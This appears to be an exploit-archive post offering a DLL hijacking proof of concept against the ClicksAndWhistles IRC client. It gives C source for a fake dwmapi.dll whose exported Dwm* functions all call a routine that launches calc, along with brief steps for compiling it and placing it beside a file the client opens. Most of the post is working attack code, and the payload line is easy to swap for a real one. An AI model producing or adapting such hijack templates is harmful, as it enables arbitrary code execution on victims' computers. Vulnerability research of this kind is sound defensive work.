clicksandwhistles DLL Hijacking Exploit

=======================================
clicksandwhistles DLL Hijacking Exploit
=======================================

/*
#clicksandwhistles DLL Hijacking Exploit (dwmapi.dll)

#Author : anT!-Tr0J4n

#Greetz : Dev-PoinT.com ~ inj3ct0r.com  ~ All Dev-poinT members and my friends

#Email  : D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com

#Software Link: http://clicksandwhistles.com

#Tested on: Windows XP sp3

#Description: ClicksAndWhistles is a free IRC client for Windows.  Internet Relay Chat (IRC) is a form of real-time Internet text messaging allowing you to communicate with others in IRC channels (chat rooms) and one-to-one communication via private messages.

  You can also connect directly with another user to chat or send/receive files.

#####################
How  TO use : Compile and rename to dwmapi.dll, create a file in the same dir with one of the following extensions.
            check the result           
#####################

#dwmapi.dll (code)
*/
 
#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void  DwmDefWindowProc() { evil(); }
DLLIMPORT void  DwmEnableBlurBehindWindow() { evil(); }
DLLIMPORT void  DwmEnableComposition() { evil(); }
DLLIMPORT void  DwmEnableMMCSS() { evil(); }
DLLIMPORT void  DwmExtendFrameIntoClientArea() { evil(); }
DLLIMPORT void  DwmGetColorizationColor() { evil(); }
DLLIMPORT void  DwmGetCompositionTimingInfo() { evil(); }
DLLIMPORT void  DwmGetWindowAttribute() { evil(); }
DLLIMPORT void  DwmIsCompositionEnabled() { evil(); }
DLLIMPORT void  DwmModifyPreviousDxFrameDuration() { evil(); }
DLLIMPORT void  DwmQueryThumbnailSourceSize() { evil(); }
DLLIMPORT void  DwmRegisterThumbnail() { evil(); }
DLLIMPORT void  DwmSetDxFrameDuration() { evil(); }
DLLIMPORT void  DwmSetPresentParameters() { evil(); }
DLLIMPORT void  DwmSetWindowAttribute() { evil(); }
DLLIMPORT void  DwmUnregisterThumbnail() { evil(); }
DLLIMPORT void  DwmUpdateThumbnailProperties() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}




#  0day.today [2018-01-10]  #